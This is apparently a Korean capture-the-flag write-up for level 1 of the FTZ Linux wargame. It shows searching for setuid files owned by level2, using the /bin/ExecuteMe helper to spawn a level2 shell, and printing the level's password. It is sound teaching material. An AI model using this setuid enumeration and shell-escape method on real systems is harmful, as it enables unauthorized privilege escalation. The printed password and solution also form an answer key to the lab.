[level1@ftz level1]$ ls
hint public_html tmp
[level1@ftz level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
hint 파일을 출력해보니 level 2의 setuid가 걸린 파일을 찾으라 하고 있습니다.
⇾ find 명령어를 통해 setuid가 걸린 파일을 찾아 실행시켜 level 2의 권한을 얻고 my-pass 명령어를 통해 패스워드를 얻을 수 있을 거 같습니다.
*setuid*
리눅스 특별 권한으로 setuid가 걸린 파일을 실행시키면 일시적으로 파일 소유자의 권한을 얻을 수 있습니다.
user의 execute permission 부분에 s로 표시합니다.
special bit는 4입니다.
[level1@ftz level1]$ find / -user level2 -perm -4000 2> /dev/null
/bin/ExecuteMe
[level1@ftz level1]$ cd /bin
[level1@ftz bin]$ ls -l | grep ExecuteMe
-rwsr-x--- 1 level2 level1 12868 Sep 10 2011 ExecuteMe
find 명령어로 level2 유저의 setuid가 걸린 파일을 검색하니 /bin/ExecuteMe 파일이 검색되었습니다.
해당 위치로 이동한 후 ls -al 명령어로 확인해보니 setuid가 걸려있습니다.
[level1@ftz bin]$ ExecuteMe
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$
ExecuteMe 파일을 실행 시키자 my-pass와 chmod를 제외한 어떤 명령을 실행시킬지 묻고 있습니다.
⇾ /bin/bash라는 쉘 프로그램을 실행시켜보면
level2의 권한으로 쉘이 실행되었습니다.
[level2@ftz level2]$ /bin/bash
[level2@ftz level2]$ my-pass
Level2 Password is "hacker or cracker".
my-pass 명령어를 입력해보면 패스워드가 출력되었습니다.